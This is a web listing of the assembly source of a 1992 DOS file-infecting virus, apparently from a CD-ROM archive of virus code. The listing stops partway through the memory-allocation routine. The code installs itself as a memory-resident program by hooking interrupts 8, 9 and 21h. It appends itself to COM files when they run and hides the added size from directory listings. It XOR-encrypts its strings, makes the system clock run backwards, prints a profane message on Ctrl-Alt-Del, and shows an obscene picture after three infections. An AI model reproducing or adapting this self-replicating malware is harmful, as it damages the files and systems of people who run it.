home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / PENIS.ASM < prev    next >
Assembly Source File  |  1992-11-26  |  29KB  |  717 lines

  1. ;*****************************************************************************
  2. ;*                              THE PENIS VIRUS 
  3. ;*
  4. ;*
  5. ;* By Soltan Griss  [YAM]
  6. ;*
  7. ;*
  8. ;*
  9. ;*
  10. ;* In no means was this intended to be a serious virus, I got bored one day
  11. ;* and decided to have some fun.
  12. ;*
  13. ;*
  14. ;* Well Here it is...
  15. ;*
  16. ;*****************************************************************************
  17. seg_a           segment 
  18.                 assume  cs:seg_a,ds:seg_a,es:nothing
  19.               
  20.         org     100h
  21. start:  db      0E9h,02,00,42h,0f2h
  22.  
  23.         mov     cx,(old_21-old_8)       ;RUN FIRST TIME ONLY
  24.         mov     si,offset old_8         ;encrypt All text messages
  25.         call    crypter            
  26.         
  27.         mov     cx,(exec-data) 
  28.         mov     si,offset data
  29.         call    crypter
  30.  
  31.        
  32. vstart  equ     $                
  33.         call    code_start 
  34. code_start:          
  35.         pop     si
  36.         sub     si,offset code_start
  37.         mov     bp,si
  38.         jmp     load                    ;Load in the TSR
  39. ;**************************************************************************
  40.  
  41. old_8           dw      0,0
  42.  
  43. new_8:          push    ax                           
  44.                 push    bx                        ;lets run the clock   
  45.                 push    cx                        ;backwards   
  46.                 push    ds                           
  47.                 xor     ax,ax                        
  48.                 mov     ds,ax                         
  49.                 mov     bx,ds:46Ch                    
  50.                 mov     cx,ds:046Eh                   
  51.                 dec     bx                            
  52.                 jno     loc_4         
  53.                 dec     cx            
  54.                 jno     loc_4         
  55.                 mov     bx,0AFh       
  56.                 mov     cx,18h                    ;remember to do it twice
  57. loc_4:                                            ;cause the normal increase
  58.                 dec     bx                        ;will negate the first one
  59.                 jno     loc_5         
  60.                 dec     cx            
  61.                 jno     loc_5         
  62.                 mov     bx,0AFh       
  63.                 mov     cx,18h        
  64. loc_5:                                
  65.                 mov     ds:046Eh,cx   
  66.                 mov     ds:046Ch,bx   
  67.                 pop     ds            
  68.                 pop     cx            
  69.                 pop     bx            
  70.                 pop     ax                          
  71. do_old_8:       jmp     dword ptr cs:[old_8-vstart] 
  72.                                                     
  73.  
  74. ;****************************************************************************
  75. ;int 9 handler
  76.  
  77. old_9   dd      ?                       ;Store old int 9
  78.  
  79. new_9:  
  80.         
  81.         push    ax
  82.         in      al,60h                  ;Turn on Register 60
  83.         cmp     al,53h                  ;Ctrl-Alt-Del
  84.         
  85.         je      fuck_you
  86.         pop     ax
  87.         jmp     dword ptr cs:[(old_9-vstart)]
  88.  
  89. say_it: db      "FUCK YOU ASSHOLE!  ","$"
  90.         
  91. fuck_you:        
  92.         push    ds
  93.         push    dx
  94.         mov     ah,9h
  95.         
  96.         push    cs
  97.         pop     ds
  98.       
  99.         mov     dx,say_it-vstart                ;Say message
  100.         int     21h
  101.         pop     dx
  102.         pop     ds
  103.         pop     ax
  104.         iret
  105.  
  106.  
  107.  
  108. ;***********************************************************************
  109. ;***********************************************************************
  110. ;***********************************************************************
  111. ;***********************************************************************
  112. ;***********************************************************************
  113.  
  114. old_21  dd      ?
  115.  
  116. new_21: 
  117.         cmp     ax,4b00h                        ;Are we executing?
  118.         je      exec1
  119.         
  120.         cmp     ah,11h
  121.         je      hide_size
  122.         cmp     ah,12h
  123.         je      hide_size
  124.         cmp     ax,0f242h                       ;Are we going resident?
  125.         jne     do_old                          
  126.         mov     bx,242fh                        ;Set our residency byte
  127. do_old: jmp     dword ptr cs:[(old_21-vstart)]  ;If not then do old int 21
  128. exec1:  jmp     exec
  129. do_dir: jmp     dword ptr cs:[(old_21-vstart)]  
  130.         ret        
  131.  
  132. hide_size:
  133.         pushf
  134.         push    cs
  135.         call    do_dir                          ;get the current FCB
  136.         cmp     al,00h
  137.         jnz     dir_error                       ;jump if bad FCB
  138.         
  139.         push    ax
  140.         push    bx
  141.         push    es                              ;undocumented get FCB 
  142.         mov     ah,51h                          ;location
  143.         int     21h
  144.         mov     es,bx                           ;get info from FCB
  145.         cmp     bx,es:[16h]
  146.         jnz     not_inf
  147.         mov     bx,dx
  148.         mov     al,[bx]
  149.         push    ax
  150.         mov     ah,2fh                          ;get DTA 
  151.         int     21h
  152.         pop     ax
  153.         inc     al                              ;Check for extended FCB
  154.         jnz     normal_fcb
  155.         add     bx,7h
  156. normal_fcb:
  157.         mov     ax,es:[bx+17h]
  158.         and     ax,1fh
  159.         xor     al,01h                          ;check for 2 seconds
  160.         jnz     not_inf
  161.         
  162.         and     byte ptr es:[bx+17h],0e0h       ;subtract virus size
  163.         sub     es:[bx+1dh],(vend-vstart)
  164.         sbb     es:[bx+1fh],ax
  165. not_inf:pop     es
  166.         pop     bx
  167.         pop     ax
  168.         
  169. dir_error:   
  170.         iret                                    ;back to caller
  171.  
  172.  
  173. ;***************************************************************************
  174. ;***************************************************************************
  175. ;* PICTURE TO DISPLAY
  176. ;***************************************************************************
  177.  
  178. data    DB      '▄',4,'▄',4,'▄',4,'▄',4,' ',4,' ',15,'▄',4,' ',15,' '
  179.         DB      15,' ',15,' ',15,'▄',4,'▄',4,'▄',4,'▄',4,' ',15,'▄',4
  180.         DB      '▄',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'▄',4
  181.         DB      '▄',4,' ',15,' ',15,'▄',4,' ',15,' ',15,' ',15,' ',15
  182.         DB      ' ',15,'▄',4,' ',15,'▄',4,'▄',4,'▄',4,'▄',4,'█',64,'█'
  183.         DB      64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
  184.         DB      ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
  185.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
  186.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  187.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
  188.         DB      ' ',64,'█',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
  189.         DB      ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'▄',4,' ',15
  190.         DB      ' ',15,' ',15,' ',15,'▄',4,' ',64,' ',4,' ',15,' ',15
  191.         DB      '█',4,'█',4,'▄',4,' ',15,'█',64,' ',64,'█',4,' ',15,'█'
  192.         DB      4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
  193.         DB      0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
  194.         DB      ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  195.         DB      ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
  196.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  197.         DB      0,' ',0,' ',64,'▄',64,'▄',64,'▄',64,'▀',64,'█',64,' '
  198.         DB      64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
  199.         DB      64,' ',15,' ',15,' ',15,' ',64,'▄',4,' ',64,' ',64,'▀'
  200.         DB      64,' ',64,' ',4,' ',15,' ',15,' ',15,'█',4,' ',15,'█'
  201.         DB      4,'▄',4,'█',4,' ',15,'█',4,' ',15,'█',4,'▄',64,'▄',64
  202.         DB      '█',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
  203.         DB      0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
  204.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  205.         DB      ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  206.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'▄',4
  207.         DB      '▄',4,'▄',4,'▄',64,' ',15,' ',64,'▄',4,'▄',4,'▄',4,' '
  208.         DB      15,' ',64,'▄',4,'▄',4,' ',64,' ',15,' ',15,' ',15,' '
  209.         DB      15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
  210.         DB      15,' ',15,'█',4,' ',15,' ',15,'▀',4,' ',15,' ',15,'█'
  211.         DB      4,' ',15,'█',4,'▄',4,'▄',4,'▄',4,'█',64,'█',64,' ',15
  212.         DB      ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
  213.         DB      15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
  214.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  215.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  216.         DB      0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  217.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  218.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  219.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'█',96,'▀',96
  220.         DB      '▀',96,'▀',96,'█',96,'█',96,'█',96,'█',96,' ',15,' ',15
  221.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  222.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  223.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  224.         DB      ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  225.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  226.         DB      15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
  227.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  228.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  229.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  230.         DB      ' ',103,' ',103,'▒',96,'░',96,'░',96,' ',96,'▀',96,'█'
  231.         DB      96,'█',96,'█',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  232.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'▄'
  233.         DB      15,'▄',15,'▄',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
  234.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  235.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  236.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
  237.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  238.         DB      ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  239.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
  240.         DB      ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'▒',96
  241.         DB      '▒',96,'░',96,'░',96,' ',96,'█',96,'█',96,'▄',15,'▄',15
  242.         DB      '▄',15,'█',15,'█',15,'█',15,' ',15,' ',15,' ',15,' ',15
  243.         DB      '█',15,'█',15,'█',15,'█',15,'█',15,'█',15,'█',15,' ',15
  244.         DB      ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  245.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  246.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  247.         DB      15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'─',96
  248.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  249.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  250.         DB      '─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96,'─',96
  251.         DB      '▒',96,'▒',96,'░',96,'░',96,' ',96,'█',96,' ',15,' ',15
  252.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  253.         DB      ' ',15,' ',15,' ',15,'▀',15,'▀',15,'▀',15,' ',15,' ',15
  254.         DB      ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  255.         DB      15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
  256.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  257.         DB      15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'▀',96
  258.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  259.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  260.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  261.         DB      ' ',15,'▄',96,'▄',96,'▄',96,'█',96,' ',15,' ',15,' ',15
  262.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  263.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  264.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  265.         DB      ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
  266.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  267.         DB      ' ',15,' ',103,' ',103,' ',103,'░',96,'░',96,'░',96,' '
  268.         DB      103,'▀',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
  269.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  270.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  271.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  272.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  273.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  274.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  275.         DB      15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
  276.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  277.         DB      15,' ',103,' ',103,'░',96,'░',96,'░',96,'░',96,' ',103
  278.         DB      '▄',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  279.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  280.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  281.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  282.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  283.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  284.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  285.         DB      ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
  286.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  287.         DB      ' ',15,' ',103,'░',96,'░',96,'░',96,'░',96,' ',103,' '
  288.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  289.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  290.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  291.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  292.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  293.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  294.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  295.         DB      15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
  296.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  297.         DB      15,' ',15,'▄',96,' ',103,' ',103,' ',103,'▄',96,' ',15
  298.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  299.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  300.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  301.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  302.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  303.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  304.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  305.         DB      ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
  306.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  307.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  308.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  309.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  310.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  311.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  312.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  313.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  314.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  315.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  316.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  317.         DB      ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  318.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  319.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  320.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  321.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  322.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  323.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
  324.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  325.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  326.         DB      15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
  327.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  328.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  329.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  330.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  331.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  332.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
  333.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  334.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  335.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
  336.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  337.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  338.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  339.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  340.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  341.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  342.         DB      0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  343.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  344.         DB      0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
  345. doggie  DB      15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
  346.         DB      15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
  347.         DB      15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
  348.         DB      15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
  349.         DB      15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
  350.         DB      15,'O',15,'F',15,' ',15,' ',15,' '
  351.         DB      0,' ',0,' ',15,' ',15,' ',15,' '
  352.         DB      03,'[',03,'Y',03,'A',03,'M'
  353.         DB      03,']',03,'/',03,'9',03,'2'
  354.         DB      03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
  355.         DB      04,' ',0,' ',0,' ',0,' ',0,' ',0
  356.         DB      ' ',0,' ',0,' ',0,' ',0,' ',0
  357. ;Actual program begins here
  358.          
  359. exec:   
  360.         push    ax  
  361.         push    bx
  362.         push    cx
  363.         push    dx
  364.         push    di
  365.         push    si
  366.         push    ds  
  367.         push    es
  368.         
  369.         
  370.         mov     ax,4300h                        ;get file attributes
  371.         int     21h
  372.         jc      long_cock
  373.  
  374.         and     cl,0feh                         ;make it read/write
  375.         mov     ax,4301h
  376.         int     21h
  377.         jc      long_cock
  378.         
  379.  
  380.  
  381. infect: 
  382.         mov     ax,3d02h
  383.         int     21h
  384.         jc      long_cock
  385.         
  386.         
  387.         mov     bx,ax
  388.                 
  389.         push    ds
  390.         push    cs
  391.         pop     ds
  392.  
  393.         mov     ah,3fh
  394.         mov     cx,5h
  395.         mov     dx,(buffer-vstart)              ;load in the first 5 bytes
  396.         int     21h
  397.         jc      long_cock
  398.         
  399.  
  400.         cmp     word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
  401.         je      long_cock                           ;EXE 
  402.         
  403.         cmp     word ptr cs:[(buffer-vstart)+3],42F2h
  404.         je      long_cock                           ;Check to see if F242 tag
  405.                                                     ;if so then its infected
  406.         jmp     next
  407.  
  408. long_cock:        
  409.         jmp     cocker2
  410.  
  411. next:   
  412.  
  413.         mov     ax,5700h
  414.         int     21h
  415.  
  416.         mov     word ptr cs:[(old_time-vstart)],cx  ;get the files time 
  417.         mov     word ptr cs:[(old_date-vstart)],dx  ;and date
  418.  
  419.         mov     ax,4202h                            ;move file pointer to end
  420.         xor     cx,cx                               ;top get the files size
  421.         xor     dx,dx
  422.         int     21h
  423.         jc      long_cock
  424.         mov     cx,ax
  425.         sub     cx,3                                ;sub 3 form jump at begining
  426.         mov     word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
  427.  
  428.         
  429.         mov     cx,(old_21-old_8) ;number of bytes to encrypt before writing
  430.         mov     si,(old_8-vstart)
  431.         call    crypter
  432.  
  433.         mov     cx,(exec-data) 
  434.         mov     si,(data-vstart)
  435.         call    crypter
  436.  
  437.  
  438.  
  439.         mov     ah,byte ptr cs:[(infect_times-vstart)]
  440.         mov     byte ptr cs:[(infect_times-vstart)],00h
  441.         push    ax
  442.  
  443.         mov     cx,(vend-vstart)                    ;write the virus to the end
  444.         mov     ah,40h                              ;of the file
  445.         xor     dx,dx
  446.         int     21h
  447.         jc      cocker
  448.         
  449.         pop     ax
  450.         inc     ah
  451.         mov     byte ptr cs:[(infect_times-vstart)],ah ;counter 
  452.  
  453.  
  454.         mov     cx,(exec-data) 
  455.         mov     si,(data-vstart)                    ;decrypt data
  456.         call    crypter
  457.  
  458.         mov     cx,(old_21-old_8) ;number of bytes to decrypt after writing
  459.         mov     si,(old_8-vstart)
  460.         call    crypter
  461.         
  462.         
  463.         mov     ax,4200h                            ;move file pointer to the 
  464.         xor     cx,cx                               ;begining to write the JMP
  465.         xor     dx,dx
  466.         int     21h
  467.  
  468.  
  469.         mov     cx,5
  470.         mov     ah,40h                              ;write the JMP top the file
  471.         mov     dx,(jump_add-vstart)
  472.         int     21h
  473.         
  474.         jc      cocker
  475.  
  476.         mov     ax,5701h
  477.         mov     word ptr cx,cs:[(old_time-vstart)]  ;Restore old time,date
  478.         mov     word ptr dx,cs:[(old_date-vstart)]
  479.         
  480.         and     cl,0e0H
  481.         inc     cl                                  ;change seconds to 2
  482.         int     21h                     
  483.         
  484.  
  485.         mov     ah,3eh
  486.         int     21h
  487.  
  488.  
  489.         jmp     show_dick
  490. cocker: jmp     cocker2
  491.          
  492.       
  493. show_dick:
  494.         
  495.         cmp     byte ptr cs:[(infect_times-vstart)],03h
  496.         jl      cocker
  497.         
  498.         
  499.         
  500.         mov     ah,0fh                             ;get current video mode
  501.         int     010h
  502.         cmp     al,7                               ;is it a monochrome mode?
  503.         jz      mono                               ;yes
  504.         mov     ax,0B800h                          ;color text video segment
  505.         jmp     SHORT doit
  506. mono:   mov     ax, 0B000h                         ;monochrome text video segment
  507. doit:   mov     es,ax
  508.         
  509.         push    cs
  510.         pop     ds
  511.         mov     si,data-vstart                     ;load destination offset
  512.         xor     di,di                              ;clear destination index counter
  513.         mov     cx,(exec-data+1)/2
  514.         rep     movsw                              ;write to video memory
  515.               
  516.         mov     ah,02h                             ;hide cursor
  517.         mov     bh,0                               ;assume video page 0
  518.         mov     dx,1A00h                           ;moves cursor past bottom of screen
  519.         int     010h
  520.                 
  521.  
  522. lup:    mov     ah, 01h    
  523.         int     016h       
  524.         jz      lup        
  525.         mov     ah,0       
  526.         int     016h
  527.  
  528.        ;Clear the screen
  529.          mov    ah, 6                          ;function 6 (scroll window up)
  530.          mov    al, 0                          ;blank entire screen
  531.          mov    bh, 7                          ;attribute to use
  532.          mov    ch, 0                          ;starting row
  533.          mov    cl, 0                          ;starting column
  534.          mov    dh, 25                         ;ending row
  535.          mov    dl, 80                         ;ending column
  536.          int    10h                            ;call interrupt 10h
  537.  
  538.          mov    ah,02h                         ;puts cursor back where it belongs
  539.          mov    bh,0                           ;assume video page 0
  540.          mov    dx,0
  541.          int    010h
  542.  
  543.         
  544.         
  545. cocker2:pop     ds
  546.         pop     es
  547.         pop     ds
  548.         pop     si                           ;go back to old int 21
  549.         pop     di
  550.         pop     dx
  551.         pop     cx
  552.         pop     bx
  553.         pop     ax
  554.         
  555.         jmp    dword ptr cs:[(old_21-vstart)] 
  556.         
  557. old_date dw     0
  558. old_time dw     0
  559.  
  560.  
  561. buffer: db      0cdh,20h,00
  562. buffer2 db      0,0        
  563. infect_times:   DB   0h
  564. jump_add: db    0E9h,00,00,0F2h,42h;
  565.  
  566. ;***********************************************************************
  567. ;***********************************************************************
  568. ;***********************************************************************
  569. ;***********************************************************************
  570. ;***********************************************************************
  571.         
  572. exit2:  jmp     exit
  573. crypter: 
  574.         push   ax                             ;Encryptor Routine
  575. loo:    mov    ah,byte ptr cs:[si]            ;move byte into ah
  576.         xor    ah,0AAh                        ;Xor it
  577.         mov    byte ptr cs:[si],ah            ;write it back
  578.         inc    si
  579.         loop   loo
  580.         pop     ax
  581.         ret
  582.  
  583.         
  584. load:   mov     ax,0f242h                       ; Check to see if we are
  585.         int     21h                             ; allready resident
  586.         cmp     bx,0242fh                       ; looking for f242 tag
  587.         je      exit2
  588.         
  589.  
  590.         mov     cx,(old_21-old_9)               ;number of bytes to decrypt
  591.         mov     si,offset old_9
  592.         add     si,bp
  593.         call    crypter
  594.         
  595.         mov     cx,(exec-data)                  ;number of bytes to decrypt
  596.         mov     si,offset data
  597.         add     si,bp
  598.         call    crypter
  599.  
  600.  
  601. dec_here:
  602.         push    cs
  603.         pop     ds
  604.  
  605.         mov     ah,49h                          ;Release current Memory block
  606.         int     21h
  607.  
  608.         mov     ah,48h                          ;Request Hugh size of memory
  609.         mov     bx,0ffffh                       ;returns biggest size
  610.         int     21h
  611.         
  612.  
  613.         mov     ah,4ah
  614.         sub     bx,(vend-vstart+15)/16+1        ;subtract virus size
  615.         jc      exit2
  616.         int     21h
  617.  
  618.         
  619.         mov     ah,48h
  620.         mov     bx,(vend-vstart+15)/16          ;request last XXX pages
  621.         int     21h                             ;allocate it to virus
  622.         jc      exit2        
  623.         
  624.         dec     ax
  625.         
  626.         push    es
  627.         
  628.         mov     es,ax
  629.         
  630.         mov     byte ptr es:[0],'Z'             ;make DOS the  owner
  631.         mov     word ptr es:[1],8
  632.         mov     word ptr es:[3],(vend-vstart+15)/16    ;put size here
  633.         sub     word ptr es:[12h],(vend-vstart+15)/16  ;sub size from current         
  634.                                                        ;memory
  635.         inc     ax
  636.  
  637.         
  638.         lea     si,[bp+offset vstart]       ;copy it to new memory block
  639.         xor     di,di
